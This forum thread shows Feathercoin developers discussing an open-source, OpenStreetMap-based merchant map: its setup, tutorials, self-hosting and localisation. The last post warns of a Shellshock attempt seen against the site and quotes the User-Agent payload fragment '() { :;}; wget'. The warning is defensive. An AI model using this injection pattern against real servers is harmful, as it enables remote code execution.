[Dev] Feathercoin Open Merchant Map
-
Uncle Muddy, I know how you feel. There is so much going on and too much to do. It will be more sustainable to gradually move along and not burn ourselves out trying to do everything at once.
This open source is a different concept, in business you can delegate responsibility. Here we need lots of small pushes in the right direction, which doesn’t give the same motivation as when you are doing big things.
-
When do launch it ?

Work has begun today ;)

Good news then!
As we move towards the implementation, can somebody with the super-powers combine the two existing threads? I mean, is it feasible to merge this thread at the bottom of this one? It would be nice to have it pinned to…
BTW I’ve made a couple of additions:
-
ultra user friendly howto for the venue addition
-
minor restyling to get rid of that big panel on the bottom left.
Already pushed the commits to Github.
-
-
I’ll pin this thread, sorry about mixing it up. I’ll update my test version as well later.

Damm I quite don’t understand the difference between feathercoin map and feathercoin open merchant map…
it is just update of previous project or completely separate one?
-
Do you mean the Feathercoin Map?. This is separate project to that.
https://mapsengine.google.com/map/edit?mid=zuZ9_Jqsx3-k.ktQvawTB0nVM
That map is Google related, whereas this Map is open source. This is also meant just to find Merchants.
Otherwise, Its my fault for any confusion on threads [Dev], (I set up an online instance.). I copied over the info from the other thread here and pinned this one.

Clear now, thank you.
I want to mention it in Newsletter #35 as this is another project of new team member…

Probably my ignorance about the “other” FeathercoinMap was another culprit! It lead me to carelessly duplicate the name of an already existing project. Sorry guys.
Anyway, we could still “join” the two projects. With the modularity of the new code and the endless tagging capabilities of OSM it will (should) be easy stuff. There’s also Lizhi always complaining that GoogleMaps cannot be used in China so, in the end, it could be something we’ll have to think about seriously. The question is “who’s goin’ to port all that stuff??!” ;D

Hi voingiappone, I’ve updated with my instance of Feathercoinmap with git pull and recompiled. There are 7 merchants on it now and I went through your tutorial, which also seemed to work OK for me.
I thought I only had 6 merchants on before, so I checked my chron job to refresh the list - which looks fine. I haven’t tested your help on the chron job yet, tho’. Bit busy, so just I’ll have to see if it finds the next Merchant, OK.
-
Unfortunately work has stopped again on this :(
There are now 7 merchants as I added the Oxford Blue to it the other day when I was testing the implementation I was planning to use for the production site…
My plan for this was to have it for bricks and mortar merchants, where you could go and spend your coins, the other map was to stay on the forum for members to be able to see others in their location etc…
I’ll try and get pen to paper with my plans over the weekend so everyone can see where I was planning on going, but RL is being a real pain in the backside at the moment :(
UM

Thx for checking it out! Of course my cron job instructions are for those who cannot figure it out by themselves… but you don’t have this problem right? So you don’t need it.

I think this map may fit both functions. As it is written now it can only accept the FTC tag on the OSM but we could always add a new entry in the overpass field to look for the users. Somnething like FTC-user=yes. Then you’ll see the map with the ability to choose between what you want to see visualized and what you don’t need. Or we just could have two separated installations for the two different tasks! Just an idea…

Don’t worry. It seems like you’re in those periods where even the 100% of your time is not enough to get the things done. We also have a lot of projects going on with FTC right now, so we may also delay this a bit, no?
Take it easy ;D

Hi voingiappone
Can you set up a Domain Name for feathercoinmap ? If you need a domain name , I can Provided .
I let my domain pointing to your server.

Hi Lizhi, that’s my server. There is no problem to point your domain name to 95.85.57.10 , I set it up for testing etc and it will be up for as long as needed. The easiest / best thing is to start your own instance of the map from Github.
It’s really easy to set up and the more nodes there are the better, it will be faster for access from your physical area. The data is registered centrally then spread round the nodes (from my understanding of how it works).

Lizhi, sorry for not relpying faster. I was out (holidays in japan) but I’m back to work from today.
To add yourself you just need to follow the tutorial I added in the updated version. In you map link, in the bottom’left panel there is a “Want to add yours?” blue link. Click there and follow the tutorial!
And meanwhile tell me if you find something awful or something I can improve. This is still beta… even if I think the animations work well and the tutorial is easy enough to follow.
Of course you can also set up your own FeathercoinMap installation! As wrapper correctly pointed out, the database relies on an external service (OSM) and therefore the map will always be up to date if you regularly run an update script for your local database. (Scripting info for a linux-based server automated update are stored in the Readme on github). You only have to clone the git repo on your server, manually run the update or have it automated with a cron job. That’s as easy as it gets!
Thank you for the interest in this project. May I ask you why in China you cannot access google maps?
-
Yes, I had commit my position. Map had refresh :)
http://map.ftc-c.com/ have 9 point .
google maps not go into China

Wow! So I see you localized the files in chinese.
I will probably ask you for those files to merge them in the main repo so that we can have a fully localized map!
I just don’t have the time for writing the code now. Will get back to you when I’ll be free!
Thx for the effort!

Thank you for all your work so far!

There may be a problem with Shellshock exploitation potential in Feathercoinmap - (Header User-Agent exploit attempted with () { :;}; wget)… Error

May have generic fix later but one to watch.
